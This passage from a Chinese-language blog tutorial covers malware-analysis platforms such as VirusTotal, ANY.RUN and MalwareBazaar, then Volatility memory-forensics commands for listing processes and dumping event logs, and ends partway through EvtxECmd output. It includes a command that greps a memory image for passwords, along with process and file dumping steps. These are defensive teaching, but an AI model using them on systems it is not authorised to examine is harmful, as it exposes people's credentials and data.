內把多個防毒引擎、網頁掃描器、威脅情報來源彙整在一起，並且裡面會跑沙箱獲得惡意程式行為</p><p>  <img src="/assets/gMfDOnx2P7vfSTa0t39KTSF4X51TsNEZ1JieQp1GN9Y=.png"></p><p>  使用方式是在上方的搜尋欄輸入 Hash、IP、Domain，或至上傳頁面上傳惡意程式</p><p>  <img src="/assets/wVcdSKbGTJgrc4GYZeCk1VWOvjD2NKPOKSYt9_s5xPg=.png"></p><p>  這裡介紹一下 VirusTotal 分析完後提供的頁面資訊</p><h3 id="Detection"><a href="#Detection" class="headerlink" title="Detection"></a>Detection</h3><p>  這個頁面提供了多家的 antivirus 引擎的偵測結果，會顯示出辨識的惡意程式家族與標籤</p><p>  <img src="/assets/z3PpmUJlTskTOc-_l2CYf5VAZNTDMKlxMQ3i28g1sos=.png"></p><h3 id="Details"><a href="#Details" class="headerlink" title="Details"></a>Details</h3><p>  這個頁面會列出惡意程式的大小、型態、雜湊，以及編譯、修改時間</p><p>  <img src="/assets/tvFgDnMjsBkHGBDXWKh2CtBid7nsv75o1We8A6U8X1E=.png"></p><p>  PE 結構（Sections、Imports&#x2F;Exports）、簽章資訊、字串等</p><p>  <img src="/assets/-yTNwLT3_1naezKvF3WWA6if8ccs7-ctpuBf63FxELQ=.png"></p><h3 id="Relations"><a href="#Relations" class="headerlink" title="Relations"></a>Relations</h3><p>  這個頁面會列出惡意程式連線的 IP、Domain </p><p>  <img src="/assets/rGfLfkJ0NLPqqubsITDG8YcSD_oXKpVZ90nQ10vh7T0=.png"></p><p>  以及執行惡意程式時產生的檔案</p><p>  <img src="/assets/hNljM3GQjeIAib7Jbc6JH5X6n9aESH8pVix3NyaGWp4=.png"></p><h3 id="Behavior"><a href="#Behavior" class="headerlink" title="Behavior"></a>Behavior</h3><p>  這裡會列出惡意程式跑在多種沙箱中的行為</p><p>  <img src="/assets/FbaXPCeyc1-V85aF3NNLqvM8J-bA8NuaXak9nMfQ4d8=.png"></p><p>  當中會有 Network 的分析</p><p>  <img src="/assets/OhyS62SmzrqyOeKDsNXGOIr1k3M7VSM5kGmzncOPy9M=.png"></p><p>  當中也有檔案的操作，包含檔案開啟、修改、刪除、創建</p><p>  <img src="/assets/6-oZNV1IMKjgu5wbtjl5TjhnAu7kPSfdVJ4m-kjurNA=.png"></p><p>  Process 的創建以及 Command 的記錄</p><p>  <img src="/assets/zJdkjUtwInk-OW6R7zFKZaWdJmPniYZuo9vIRsHfHsk=.png"></p><h3 id="Community"><a href="#Community" class="headerlink" title="Community"></a>Community</h3><p>  這個頁面大多數會有人分享其他惡意程式檢測平台的 Report </p><p>  <img src="/assets/KXXwfCJI5ITKqJD8oFD6YiINevnuM8DAk7YjVPM9kG0=.png"></p></li><li><p><a href="https://any.run/">ANY.RUN</a></p><p>  ANY.RUN 是一個互動式線上惡意程式沙箱，允許使用者在受控的虛擬環境中動態執行可疑檔案或網址，觀察其行為、網路活動、檔案／登錄表操作等等</p><p>  <img src="/assets/-ipWo-VWZ1bBq9M0ip9AO1AW3ijwawfUVE_86kzXMPU=.png"></p><p>  如果要使用它的沙箱功能，就像 VirusTotal 一樣可以直接丟惡意程式進去分析的話，會需要先註冊帳戶，如果不想註冊的話，可以直接前往 <a href="https://app.any.run/submissions">https://app.any.run/submissions</a> 並使用 Hash 查詢有沒有人之前丟過的惡意程式</p><p>  假設我查詢 hash 為 <code>ced525930c76834184b4e194077c8c4e7342b3323544365b714943519a0f92af</code> 的惡意程式</p><p>  <img src="/assets/wf3oQc9EpL8An_hXnvPKekdTlcrO5clXLA2HHXto9Gs=.png"></p><p>  然後點選其中一個，也可以進入到沙箱分析結果頁面</p><p>  <img src="/assets/rgOQ9BgqW3CpsBVaEnONX00EBqyz8ce9z1Eoq5GmGQE=.png"></p><p>  這邊介紹一下 Report 介面，首先可以先看右邊的功能列，功能包含你可以下載這個惡意程式，以及在惡意程式啟動時執行了什麼行為</p><p>  <img src="/assets/Pb8iPUJignS3owgETQh_oKV0DrQJy8eDm7t2yfmFQx0=.png"></p><p>  如果想要詳細分析其中一個檔案，點擊他就會出現詳細訊息</p><p>  <img src="/assets/uDYCE6z7kaaGJyXNgruAqM7W3SB-CmNOx9XFiV8wLcY=.png"></p><p>  點選 More Info 之後就會進入到這個程式的完整分析內容</p><p>  <img src="/assets/TuHLpPHsOnJkkZGA_e4CjCrF45L98ZXRK9mWvHOIq9s=.png"></p><p>  這個頁面有一個很方便的功能，它會列出惡意程式行為的嚴重程度，假設我想要了解 <code>T1053.005 Scheduled Task (1)</code> 這個行為，並且想要知道它下的 Cmdline，可以點擊下方的 <code>Uses Task Scheduler to run other applications</code> 就會跳出視窗並顯示詳細內容</p><p>  <img src="/assets/ZL3yijW5pBAeEDHXbe6EVXN0sc9pld1JxCrkcPeBQDo=.png"></p><p>  回到分析主頁，下方是顯示 Network 相關分析結果，也有看檔案操作的頁面</p><p>  <img src="/assets/yyT6D73zz3KtGYHdOElmGIztskP0I4j4MQNd2N0-Rj8=.png"></p></li><li><p><a href="https://bazaar.abuse.ch/browse/">MalwareBazaar</a></p><p>  MalwareBazaar 是由 abuse.ch 所運營的惡意軟體樣本分享平台，旨在讓資安研究人員、antivirus 廠商、威脅情報團隊能夠更容易地交換與取得惡意軟體樣本，如果有想要查詢的惡意程式可以來這個網站查</p><p>  <img src="/assets/WjzEU8V90NjOlZCZa8f61be1PPxTNpUIJ-_39gDptlo=.png"></p><p>  它有一個查詢的語法，需要照著它的語法不然會找不到</p>  <figure class="highlight vbnet"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br></pre></td><td class="code"><pre><span class="line">Search syntax <span class="built_in">is</span> <span class="keyword">as</span> follow: keyword:search_term</span><br><span class="line"></span><br><span class="line">Following <span class="built_in">is</span> a list <span class="keyword">of</span> accepted keywords along <span class="keyword">with</span> an example search_term</span><br><span class="line"></span><br><span class="line"><span class="symbol">md5:</span><span class="number">1</span>b109efade90ace7d953507adb1f1563 ( run)</span><br><span class="line"><span class="symbol">sha256:</span><span class="number">11</span>b16ba733f2f4f10ac58021eecaf5668551a73e2a1acfae99745c50bfccbb44 ( run)</span><br><span class="line"><span class="symbol">signature:</span>CobaltStrike ( run)</span><br><span class="line"><span class="symbol">tag:</span>TA505 ( run)</span><br><span class="line"><span class="symbol">file_type:</span>rtf ( run)</span><br><span class="line"><span class="symbol">user:</span>malware_traffic ( run)</span><br><span class="line"><span class="symbol">clamav:</span>SecuriteInfo.com.Artemis1FBB04F6EAF7.<span class="number">17086</span>.UNOFFICIAL ( run)</span><br><span class="line"><span class="symbol">yara:</span>win_asyncrat_j1 ( run)</span><br><span class="line"><span class="symbol">serial_number:</span><span class="number">51</span>CD5393514F7ACE2B407C3DBFB09D8D ( run)</span><br><span class="line"><span class="symbol">issuer_cn:</span>Sectigo RSA Code Signing CA ( run)</span><br><span class="line"><span class="symbol">imphash:</span><span class="number">756</span>fdea446bc618b4804509775306c0d ( run)</span><br><span class="line"><span class="symbol">tlsh:</span><span class="number">8</span>DD484F440EF10A2F25F852936ADBE9401B2B1C7DBDA5E08137DE5311BBDA633A0564D ( run)</span><br><span class="line"><span class="symbol">telfhash:</span><span class="number">52</span>d0a7c198b4972c99e60578ed5c5bb29106216620070b20cf10a5d4d83b440f40db59 ( run)</span><br><span class="line"><span class="symbol">gimphash:</span>b43f35a8610180bcb184238555a0858a6c160a2d872566e7e9633221308b34fd ( run)</span><br><span class="line"><span class="symbol">dhash_icon:</span>f8dcbeffbffecee8 ( run)</span><br></pre></td></tr></table></figure><p>  假設我現在要查sha256 是<code>ced525930c76834184b4e194077c8c4e7342b3323544365b714943519a0f92af</code> 的惡意程式</p><p>  <img src="/assets/h5BRvZtDGV6UzkjnyWHJoiFVyPj1qiOAVfCeJ7KTCa8=.png"></p><p>  這樣就成功找到了，首先會列出基本的訊息</p><p>  <img src="/assets/dhEkCdxVv7tqQkAy65vx9ZPsWCww_ZVAfR4ES2eojPM=.png"></p><p>  這個網站不錯的地方是它會去整理各大惡意程式檢測平台的 Report，並列出來 Report 網址或者檢測結果</p><p>  <img src="/assets/MPS_tDeEXUcke389E3C6h51m7s3_fHIANLYQh00okQ=.png"></p></li><li><p><a href="https://malpedia.caad.fkie.fraunhofer.de/">Malpedia</a></p><p>  Malpedia 是由 Fraunhofer FKIE所維運的一個「惡意軟體百科 + 參考樣本集」平台，惡意軟體家族百科與研究資源，提供家族描述、別名、已知樣本參考、YARA 規則、相關研究連結。</p><p>  <img src="/assets/2dvHSIedbNMendmEHvAO8F2RepgjV8q_V2Of8pGfZi0=.png"></p><p>  假設我們剛剛的 XWorm 惡意程式，可以直接在搜尋欄打上 XWorm</p><p>  <img src="/assets/QbiEpyzJnEPDzDRdwNEz7JdUil3UzOlx_OD_1ug3E_8=.png"></p><p>  這些皆是針對於 XWorm 的研究，可以點進去參考</p><p>  另外也可以尋找這是哪個組織發出來的</p><p>  可以在 Family 頁面中搜尋 XWorm</p><p>  <img src="/assets/NSHxGJOQdrVMnCIB7qpIba_49beBljRTv3kp9hmIss=.png"></p><p>  點進去後可以看到這隻惡意程式相關的訊息，包含 Actor</p><p>  <img src="/assets/w6h7nMg7-aII3T313yGWoVOqf72mqCKIPX7RPRfIQZU=.png"></p><p>  那這邊就可以看到 Actor 是 <code>Hive0137</code> </p><p>  點擊後可以看到該 Actor 的相關資訊</p><p>  <img src="/assets/QzHW9EOxvKz5xMAcFYHqeUAO6nFinJiYTmo4Tdfx9cc=.png"></p></li><li><p><a href="https://tria.ge/reports/public">Triage</a></p><p>  Triage 是由 Hatching 提供的線上惡意程式沙箱台，用來自動執行、分析可疑檔案並生成行為報告，協助安全分析師快速篩選與分類威脅樣本。</p><p>  <img src="/assets/tur58FvV11eeExk1BKcPqd2fqstHnhwZd39997p7hCI=.png"></p><p>  它可以像 VirusTotal 一樣上傳惡意程式並分析或者搜尋之前已經上傳過的惡意程式</p><p>  搜尋的方式就是點選右上角的 Search 後也是可以用 Hash 搜尋</p><p>  <img src="/assets/fgbYNIkhdgIgR5syn8hEHZAzsxh33-q_IKZMooswMmI=.png"></p><p>  點進去後就會出現分析報告</p><p>  <img src="/assets/LSq6C5CnL3srr-davFhRkk2fxAeZAvhPQnt6kGkVyAk=.png"></p><p>  而如果是要上傳惡意程式，需要先進行登入，登入後上面列的 Submit 是上傳惡意程式的頁面</p><p>  <img src="/assets/XLiYnj_Z4f0BPL-Azp2DnSM75KXVZGJUKYSCCspUbus=.png"></p><p>  上傳完後也會出現 Report 的頁面</p><p>  Report 頁面有包含</p><ul><li>環境與 metadata</li><li>樣本基本資訊（雜湊、大小、評分、標籤）</li><li>提取出的惡意設定（C2、安裝位置、檔案名）</li><li>偵測簽章 &#x2F; 行為標記</li><li>進程行為</li><li>網路行為</li><li>MITRE ATT&amp;CK 對應技術</li><li>可下載的記憶體 &#x2F; 生成檔案</li></ul></li></ul><h2 id="Memory-Forensics"><a href="#Memory-Forensics" class="headerlink" title="Memory Forensics"></a>Memory Forensics</h2><h3 id="Volatility-Framework"><a href="#Volatility-Framework" class="headerlink" title="Volatility Framework"></a>Volatility Framework</h3><p>記憶體取證分析工具，用於分析記憶體映像檔案</p><h3 id="pslist-pstree"><a href="#pslist-pstree" class="headerlink" title="pslist&#x2F;pstree"></a>pslist&#x2F;pstree</h3><p>可以幫助我們去查看這台電腦跑了什麼process，他們分析的方式是會根據Symbol Table 找到Windows Kernel的 PsActiveProcessHead 的位址，然後從那個鏈表開始沿 ActiveProcessLinks 指標逐一讀出 EPROCESS 結構並解析必要欄位，如：ImageFileName、UniqueProcessId、CreateTime、ExitTime 等</p><p><img src="/assets/cghIGl_AaCJnL5zsvyk6TDeHL4Zf5T7ugVayuyE-uDo=.png" title="source:https:&#x2F;&#x2F;www.tophertimzen.com&#x2F;resources&#x2F;cs407&#x2F;slides&#x2F;week02_02-Processes.html#slide13"></p><p>另外的pstree 以 pslist 的結果為基礎，轉成父子樹狀。</p><p>那如果參考 <a href="https://ithelp.ithome.com.tw/m/articles/10321120">https://ithelp.ithome.com.tw/m/articles/10321120</a> 或者 <a href="https://ithelp.ithome.com.tw/articles/10335699">https://ithelp.ithome.com.tw/articles/10335699</a> 的其中一個方式， 可以發現其實惡意程式是可以去將process 隱藏起來的，並且讓pslist 與 pstree 無法偵測，因此我們可以使用 psscan 嘗試去偵測</p><h3 id="psscan"><a href="#psscan" class="headerlink" title="psscan"></a>psscan</h3><p>首先要說明，Windows kernel 在為許多核心物件（例如 EPROCESS、ETHREAD、FILE_OBJECT）分配記憶體時，會在 <code>_POOL_HEADER</code> 中放置一個 4-byte 的 pool tag，用來標示該分配的用途或來源。</p><p>psscan是一個使用 pool-tag scanning 的掃描器：它會在 memory dump 中搜尋<code>_POOL_HEADER</code> 與 pool tag，並且對找到的候選區塊做結構一致性檢查（例如欄位範圍、指標是否指向可讀記憶體、ProcessName 是否可讀等），來判定該區塊是否為一個有效的 EPROCESS／ETHREAD。因此，即使該程序物件已被從 kernel 的 active list unlink（例如被某些 rootkit 隱藏），只要其 pool 分配尚存在記憶體且尚未被覆寫，psscan 通常可以把它找到。</p><h3 id="psxview"><a href="#psxview" class="headerlink" title="psxview"></a>psxview</h3><p>這個plugin 會將我們剛剛提到的pslist&#x2F;pstree與psscan以及其他thrdscan、csrss作比較，如果沒有出現在相對應的掃描上就會出現 False， 否則就會出現 true，因此如果有一個process 他在pslist 出現False 但在psscan出現True 那就可以嘗試去分析看看是不是rootkit</p><h4 id="System-Profiling"><a href="#System-Profiling" class="headerlink" title="System Profiling"></a>System Profiling</h4><table><thead><tr><th>分析項目</th><th>插件</th><th>命令行</th></tr></thead><tbody><tr><td>識別作業系統版本</td><td>imageinfo</td><td><code>python vol.py -f memory.dump imageinfo</code></td></tr><tr><td>分析KDBG結構</td><td>kdbgscan</td><td><code>python vol.py -f memory.dump --profile=Win7SP1x64 kdbgscan</code></td></tr></tbody></table><h4 id="Processes-Analysis"><a href="#Processes-Analysis" class="headerlink" title="Processes Analysis"></a>Processes Analysis</h4><table><thead><tr><th>分析項目</th><th>插件</th><th>命令行</th></tr></thead><tbody><tr><td>程序列表</td><td>pslist</td><td><code>python vol.py -f memory.dump --profile=Win7SP1x64 pslist</code></td></tr><tr><td>程序父子關係</td><td>pstree</td><td><code>python vol.py -f memory.dump --profile=Win7SP1x64 pstree</code></td></tr><tr><td>掃描程序 (含隱藏&#x2F;終止)</td><td>psscan</td><td><code>python vol.py -f memory.dump --profile=Win7SP1x64 psscan</code></td></tr><tr><td>隱藏程序檢查</td><td>psxview</td><td><code>python vol.py -f memory.dump --profile=Win7SP1x64 psxview</code></td></tr><tr><td>程序詳細資訊</td><td>psinfo</td><td><code>python vol.py -f memory.dump --profile=Win7SP1x64 psinfo -p 1640</code></td></tr><tr><td>程序權限</td><td>privs</td><td><code>python vol.py -f memory.dump --profile=Win7SP1x64 privs -p 1640</code></td></tr><tr><td>程序執行緒</td><td>threads</td><td><code>python vol.py -f memory.dump --profile=Win7SP1x64 threads -p 1640</code></td></tr><tr><td>程序SID</td><td>getsids</td><td><code>python vol.py -f memory.dump --profile=Win7SP1x64 getsids -p 1640</code></td></tr><tr><td>程序令牌</td><td>tokens</td><td><code>python vol.py -f memory.dump --profile=Win7SP1x64 tokens -p 1640</code></td></tr><tr><td>轉儲程序執行檔</td><td>procdump</td><td><code>python vol.py -f memory.dump --profile=Win7SP1x64 procdump -p 1640 --dump-dir=./</code></td></tr><tr><td>虛擬位址描述符</td><td>vadinfo</td><td><code>python vol.py -f memory.dump --profile=Win7SP1x64 vadinfo -p 1640</code></td></tr><tr><td>VAD樹結構</td><td>vadtree</td><td><code>python vol.py -f memory.dump --profile=Win7SP1x64 vadtree -p 1640</code></td></tr><tr><td>遍歷VAD</td><td>vadwalk</td><td><code>python vol.py -f memory.dump --profile=Win7SP1x64 vadwalk -p 1640</code></td></tr></tbody></table><h4 id="Network-Connections"><a href="#Network-Connections" class="headerlink" title="Network Connections"></a>Network Connections</h4><table><thead><tr><th>分析項目</th><th>插件</th><th>命令行</th></tr></thead><tbody><tr><td>網路連線&#x2F;網路活動</td><td>netscan</td><td><code>python vol.py -f memory.dump --profile=Win7SP1x64 netscan</code></td></tr></tbody></table><h4 id="Persistence-Techniques"><a href="#Persistence-Techniques" class="headerlink" title="Persistence Techniques"></a>Persistence Techniques</h4><table><thead><tr><th>分析項目</th><th>插件</th><th>命令行</th></tr></thead><tbody><tr><td>註冊表鍵值</td><td>printkey</td><td><code>python vol.py -f memory.dump --profile=Win7SP1x64 printkey -K &quot;Software\Microsoft\Windows\CurrentVersion\Run&quot;</code></td></tr><tr><td>查找所有持久化機制</td><td>autoruns</td><td><code>python vol.py -f memory.dump --profile=Win7SP1x64 autoruns</code></td></tr></tbody></table><h4 id="Filesystem"><a href="#Filesystem" class="headerlink" title="Filesystem"></a>Filesystem</h4><table><thead><tr><th>分析項目</th><th>插件</th><th>命令行</th></tr></thead><tbody><tr><td>解析MFT項目</td><td>mftparser</td><td><code>python vol.py -f memory.dump --profile=Win7SP1x64 mftparser</code></td></tr><tr><td>掃描檔案物件</td><td>filescan</td><td><code>python vol.py -f memory.dump --profile=Win7SP1x64 filescan</code></td></tr><tr><td>轉儲檔案</td><td>dumpfiles</td><td><code>python vol.py -f memory.dump --profile=Win7SP1x64 dumpfiles -Q 0x000000007e410890 --dump-dir=./</code></td></tr></tbody></table><h4 id="Advanced-Analysis"><a href="#Advanced-Analysis" class="headerlink" title="Advanced Analysis"></a>Advanced Analysis</h4><table><thead><tr><th>分析項目</th><th>插件</th><th>命令行</th></tr></thead><tbody><tr><td>掃描DLL</td><td>dlllist</td><td><code>python vol.py -f memory.dump --profile=Win7SP1x64 dlllist -p 1640</code></td></tr><tr><td>檢查處理程序句柄</td><td>handles</td><td><code>python vol.py -f memory.dump --profile=Win7SP1x64 handles -p 1640 -t Process,Thread</code></td></tr><tr><td>命令行歷史</td><td>cmdline</td><td><code>python vol.py -f memory.dump --profile=Win7SP1x64 cmdline</code></td></tr><tr><td>環境變數</td><td>envars</td><td><code>python vol.py -f memory.dump --profile=Win7SP1x64 envars</code></td></tr><tr><td>記憶體字串搜尋</td><td>strings</td><td><code>strings memory.dump | grep -i password</code></td></tr><tr><td>轉儲程序記憶體</td><td>memdump</td><td><code>python vol.py -f memory.dump --profile=Win7SP1x64 memdump -p 1640 --dump-dir=./</code></td></tr></tbody></table><p>透過 Volatility 拿到 evtx</p><h2 id="Volatility-2"><a href="#Volatility-2" class="headerlink" title="Volatility 2"></a>Volatility 2</h2><figure class="highlight vim"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">vol.<span class="keyword">py</span> -<span class="keyword">f</span> ./memory.dmp --<span class="keyword">profile</span>=Win10x64_14393 -g <span class="number">0</span>xf8004a000b20 filescan | <span class="keyword">grep</span> <span class="string">&#x27;.evtx&#x27;</span></span><br></pre></td></tr></table></figure><h2 id="Volatility-3"><a href="#Volatility-3" class="headerlink" title="Volatility 3"></a>Volatility 3</h2><figure class="highlight gradle"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">vol -f memory.dmp windows.filescan | <span class="keyword">grep</span> <span class="string">&#x27;.evtx&#x27;</span></span><br></pre></td></tr></table></figure><p><img src="/assets/2lVDyAjMs3yOlsZxMikXlj2nIgpeJqE_tenYg-RGAog=.png"></p><p>我們可以利用 FileScan 的 pugin 幫助我們檢查是否有我們想要的檔案，圖片中可以得知到說確實有，接下來就可以將他們dump下來，Volatility 2 以及Volatility 3 的 Dumpfile 支援 regex ，可以使用它幫助我們找到所有我們需要的 evtx</p><h2 id="Volatility-2-1"><a href="#Volatility-2-1" class="headerlink" title="Volatility 2"></a>Volatility 2</h2><figure class="highlight stylus"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">vol<span class="selector-class">.py</span> -f ./memory<span class="selector-class">.dmp</span> <span class="attr">--profile</span>=Win10x64_14393 -<span class="selector-tag">g</span> <span class="number">0</span>xf8004a000b20  dumpfiles <span class="attr">--regex</span> .evtx$ <span class="attr">--ignore-case</span> <span class="attr">--dump-dir</span> output</span><br></pre></td></tr></table></figure><h2 id="Volatility-3-1"><a href="#Volatility-3-1" class="headerlink" title="Volatility 3"></a>Volatility 3</h2><figure class="highlight stylus"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">vol -f memory<span class="selector-class">.dmp</span> windows<span class="selector-class">.dumpfiles</span><span class="selector-class">.DumpFiles</span> <span class="attr">--filter</span> .evtx$</span><br></pre></td></tr></table></figure><p>這個指令簡單來說就是從memory.dump 中 將結尾為.evtx的檔案全部抓出來，也可以指定看你想要看什麼evtx，再去更改regex即可。</p><p>假設我想要dump Security.evtx下來看</p><h2 id="Volatility-2-2"><a href="#Volatility-2-2" class="headerlink" title="Volatility 2"></a>Volatility 2</h2><figure class="highlight stylus"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">vol<span class="selector-class">.py</span> -f ./memory<span class="selector-class">.dmp</span> <span class="attr">--profile</span>=Win10x64_14393 -<span class="selector-tag">g</span> <span class="number">0</span>xf8004a000b20 <span class="attr">--regex</span> Security.evtx$ <span class="attr">--ignore-case</span> <span class="attr">--dump-dir</span> output</span><br></pre></td></tr></table></figure><h2 id="Volatility-3-2"><a href="#Volatility-3-2" class="headerlink" title="Volatility 3"></a>Volatility 3</h2><figure class="highlight stylus"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">vol -f memory<span class="selector-class">.dmp</span> windows<span class="selector-class">.dumpfiles</span><span class="selector-class">.DumpFiles</span> <span class="attr">--filter</span> Security.evtx$</span><br></pre></td></tr></table></figure><p><img src="/assets/n11TvjQIvmkx_EM-nMo45tSov2D461awpBgTU_khL3o=.png"></p><p>圖片中發現成功Dump出來東西了，但是怎麼會有兩個檔案，而且這兩個檔案一個是 vacb ，一個是 dat，跟 evtx 的關係不是說沒有感覺是一點關係都沒有，那什麼是 vacb，什麼是 dat ?</p><ul><li>vacb : Caching Data</li><li>dat : Less Fragile File</li></ul><p>簡單來說這兩個都儲存了 evtx 的資料，只是 dat 的儲存方式比較穩定可靠</p><p>因此其實也可以直接把 vacb 或 dat 副檔名直接改成 evtx ，就可以直接用內建的 Event viewer 查看</p><p><img src="/assets/Chv6PtoCP5Pxr6ytsdD9dJ-t5cpcGlqVz_joyxsW87c=.png"></p><p>但另外其實也可以用Evtxcmd 將它變成 CSV 檔查看</p><p>根據 <a href="https://github.com/EricZimmerman/evtx?tab=readme-ov-file">https://github.com/EricZimmerman/evtx?tab=readme-ov-file</a> 官方給的使用說明，可以使用以下指令將我們的 evtx 轉換成 csv </p><figure class="highlight powershell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">.\EvtxECmd.exe <span class="operator">-f</span> <span class="string">&quot;..\..\file.0xca82b31c5990.0xca82b3848c70.SharedCacheMap.Security.evtx.vacb&quot;</span> <span class="literal">--csv</span> ./</span><br></pre></td></tr></table></figure><p>接下來就可以獲得一個csv檔，並且裡面的內容是evtx的內容</p><figure class="highlight powershell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">PS</span> C:\Users\yunshiuan\Desktop\net9\EvtxeCmd &gt; .\EvtxECmd.exe <span class="operator">-f</span> <span class="string">&quot;..\..\file.0xca82b31c5990.0xca82b3848c70.SharedCacheMap.Security.evtx.vacb&quot;</span> <span class="literal">--csv</span> ./</span><br><span class="line">EvtxECmd version <span class="number">1.5</span>.<span class="number">2.0</span></span><br><span class="line"></span><br><span class="line">Author: Eric Zimmerman (saericzimmerman@gmail.com)</span><br><span class="line">https://github.com/EricZimmerman/evtx</span><br><span class="line"></span><br><span class="line">Command line: <span class="operator">-f</span> ..\..\file.<span class="number">0</span>xca82b31c5990.<span class="number">0</span>xca82b3848c70.SharedCacheMap.Security.evtx.vacb <span class="literal">--csv</span> ./</span><br><span class="line"></span><br><span class="line">Warning: Administrator privileges not found!</span><br><span class="line"></span><br><span class="line">CSV output will be saved to ./<span class="number">20250904074916</span>_EvtxECmd_Output.csv</span><br><span class="line"></span><br><span class="line">Maps loaded: <span class="number">453</span></span><br><span class="line"></span><br><span class="line">Processing C:\Users\yunshiuan\Desktop\file.<span class="number">0</span>xca82b31c5990.<span class="number">0</span>xca82b3848c70.SharedCacheMap.Security.evtx.vacb...</span><br><span class="line">Chunk count: <span class="number">30</span>, Iterating records...</span><br><span class="line">Record <span class="comment"># 68 (Event Record Id: 68): In map for event 4718, Property /Event/EventData/Data[@Name=&quot;ProcessName&quot;] not found! Replacing with empty string</span></span><br><span class="line">Record <span class="comment"># 68 (Event Record Id: 68): In map for event 4718, Property /Event/EventData/Data[@Name=&quot;ProcessId&quot;] not found! Replacing with empty string</span></span><br><span class="line">Record <span class="comment"># 69 (Event Record Id: 69): In map for event 4718, Property /Event/EventData/Data[@Name=&quot;ProcessName&quot;] not found! Replacing with empty string</span></span><br><span class="line">Record <span class="comment"># 69 (Event Record Id: 69): In map for event 4718, Property /Event/EventData/Data[@Name=&quot;ProcessId&quot;] not found! Replacing with empty string</span></span><br><span class="line">Record <span class="comment"># 70 (Event Record Id: 70): In map for event 4718, Property /Event/EventData/Data[@Name=&quot;ProcessName&quot;] not found! Replacing with empty string</span></span><br><span class="line">Record <span class="comment"># 70 (Event Record Id: 70): In map for event 4718, Property /Event/EventData/Data[@Name=&quot;ProcessId&quot;] not found! Replacing with empty string</span></span><br><span class="line">Record <span class="comment"># 71 (Event Record Id: 71): In map for event 4718, Property /Event/EventData/Data[@Name=&quot;ProcessName&quot;] not found! Replacing with empty string</span></span><br><span class="line">Record <span class="comment"># 71 (Event Record Id: 71): In map for event 4718, Property /Event/EventData/Data[@Name=&quot;ProcessId&quot;] not found! Replacing with empty string</span></span><br><span class="line">Record <span class="comment"># 72 (Event Record Id: 72): In map for event 4718, Property /Event/EventData/Data[@Name=&quot;ProcessName&quot;] not found! Replacing with empty string</span></span><br><span class="line">Record <span class="comment"># 72 (Event Record Id: 72): In map for event 4718, Property /Event/EventData/Data[@Name=&quot;ProcessId&quot;] not found! Replacing with empty string</span></span><br><span class="line">Record <span class="comment"># 73 (Event Record Id: 73): In map for event 4718, Property /Event/EventData/Data[@Name=&quot;ProcessName&quot;] not found! Replacing with empty string</span></span><br><span class="line">Record <span class="comment"># 73 (Event Record Id: 73): In map for event 4718, Property /Event/EventData/Data[@Name=&quot;ProcessId&quot;] not found! Replacing with empty string</span></span><br><span class="line">Record <span class="comment"># 78 (Event Record Id: 78): In map for event 4718, Property /Event/EventData/Data[@Name=&quot;ProcessName&quot;] not found! Replacing with empty string</span></span><br><span class="line">Record <span class="comment"># 78 (Event Record Id: 78): In map for event 4718, Property /Event/EventData/Data[@Name=&quot;ProcessId&quot;] not found! Replacing with empty string</span></span><br><span class="line">Record <span class="comment"># 79 (Event Record Id: 79): In map for event 4718, Property /Event/EventData/Data[@Name=&quot;ProcessName&quot;] not found! Replacing with empty string</span></span><br><span class="line">Record <span class="comment"># 79 (Event Record Id: 79): In map for event 4718, Property /Event/EventData/Data[@Name=&quot;ProcessId&quot;] not found! Replacing with empty string</span></span><br><span class="line">Record <span class="comment"># 83 (Event Record Id: 83): In map for event 4718, Property /Event/EventData/Data[@Name=&quot;ProcessName&quot;] not found! Replacing with empty string</span></span><br><span class="line">Record <span class="comment"># 83 (Event Record Id: 83): In map for event 4718, Property /Event/EventData/Data[@Name=&quot;ProcessId&quot;] not found! 